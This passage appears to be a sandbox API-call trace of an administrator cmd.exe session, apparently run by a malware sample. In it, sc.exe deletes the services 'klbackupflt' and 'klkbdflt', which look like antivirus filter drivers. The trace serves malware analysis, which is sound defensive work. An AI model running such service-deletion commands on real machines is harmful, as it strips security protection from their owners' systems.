cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0072.931] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0072.931] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0072.931] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0072.931] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0072.931] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0072.931] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.931] GetFileType (hFile=0x120) returned 0x3 [0072.931] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.931] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0072.931] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0072.931] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.931] GetFileType (hFile=0xb8) returned 0x3 [0072.931] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.931] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.931] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.931] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.931] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.931] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.931] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.931] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.931] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.931] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.932] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.932] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.932] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.932] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.932] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.932] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.932] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.932] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.932] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.932] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.932] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.932] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.932] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.932] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.932] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.932] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.932] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.932] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.932] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.932] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.932] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.932] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.932] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.932] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.932] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.932] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.933] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.933] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.933] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.933] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.933] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.933] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.933] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.933] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.933] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.933] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.933] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.933] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="lbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.933] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.933] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.933] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.933] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="kackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.933] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.933] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.933] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.933] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="bckupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.933] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.933] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.933] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.933] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="dkupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.933] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.933] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.933] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.934] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="fupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.934] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.934] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.934] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.934] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="lpflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.934] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.934] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.934] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.934] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="tflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.934] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.934] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.934] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.934] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0072.934] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.934] GetFileType (hFile=0xb8) returned 0x3 [0072.934] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.934] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.934] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.934] GetFileType (hFile=0x120) returned 0x3 [0072.934] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.934] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klkbdflt\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klkbdflt\n", lpUsedDefaultChar=0x0) returned 20 [0072.934] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x13, lpOverlapped=0x0) returned 1 [0072.934] GetProcessHeap () returned 0x4a0000 [0072.934] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0072.934] GetProcessHeap () returned 0x4a0000 [0072.934] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0072.934] GetProcessHeap () returned 0x4a0000 [0072.934] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0072.935] GetProcessHeap () returned 0x4a0000 [0072.935] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0072.935] GetProcessHeap () returned 0x4a0000 [0072.935] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x32) returned 0x4b6510 [0072.935] GetConsoleOutputCP () returned 0x1b5 [0072.935] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.935] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.935] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.935] GetProcessHeap () returned 0x4a0000 [0072.935] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0072.935] GetProcessHeap () returned 0x4a0000 [0072.935] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x38) returned 0x4b6550 [0072.935] GetProcessHeap () returned 0x4a0000 [0072.935] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bba10 [0072.935] SetErrorMode (uMode=0x0) returned 0x1 [0072.935] SetErrorMode (uMode=0x1) returned 0x0 [0072.935] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bba20, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0072.935] SetErrorMode (uMode=0x1) returned 0x1 [0072.936] GetProcessHeap () returned 0x4a0000 [0072.936] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bba10, Size=0x62) returned 0x4bba10 [0072.936] GetProcessHeap () returned 0x4a0000 [0072.936] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bba10) returned 0x62 [0072.936] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0072.936] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0072.936] GetProcessHeap () returned 0x4a0000 [0072.936] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0072.936] GetProcessHeap () returned 0x4a0000 [0072.936] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0072.936] GetProcessHeap () returned 0x4a0000 [0072.936] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0072.936] GetProcessHeap () returned 0x4a0000 [0072.936] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0072.936] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0072.936] GetProcessHeap () returned 0x4a0000 [0072.936] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0072.936] GetProcessHeap () returned 0x4a0000 [0072.936] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0072.936] GetProcessHeap () returned 0x4a0000 [0072.936] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0072.936] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.936] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.936] GetLastError () returned 0x2 [0072.937] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.937] GetLastError () returned 0x2 [0072.937] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.937] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.937] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.937] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.937] GetLastError () returned 0x2 [0072.937] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.937] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.937] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.938] GetProcessHeap () returned 0x4a0000 [0072.938] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0072.938] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.938] GetProcessHeap () returned 0x4a0000 [0072.938] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0x9e) returned 0x4b9180 [0072.938] GetProcessHeap () returned 0x4a0000 [0072.938] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0x9e [0072.938] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klkbdflt") returned 1 [0072.938] GetProcessHeap () returned 0x4a0000 [0072.938] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0072.938] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0072.938] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0072.939] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0072.939] GetProcessHeap () returned 0x4a0000 [0072.939] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0072.939] GetProcessHeap () returned 0x4a0000 [0072.939] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0072.939] GetProcessHeap () returned 0x4a0000 [0072.939] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0072.939] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klkbdflt", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klkbdflt", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete klkbdflt", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0x618, dwThreadId=0xb24)) returned 1 [0072.942] CloseHandle (hObject=0x54) returned 1 [0072.942] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0072.942] GetProcessHeap () returned 0x4a0000 [0072.942] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0072.942] GetEnvironmentStringsW () returned 0x4c1b10* [0072.942] GetProcessHeap () returned 0x4a0000 [0072.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0072.942] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.942] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, 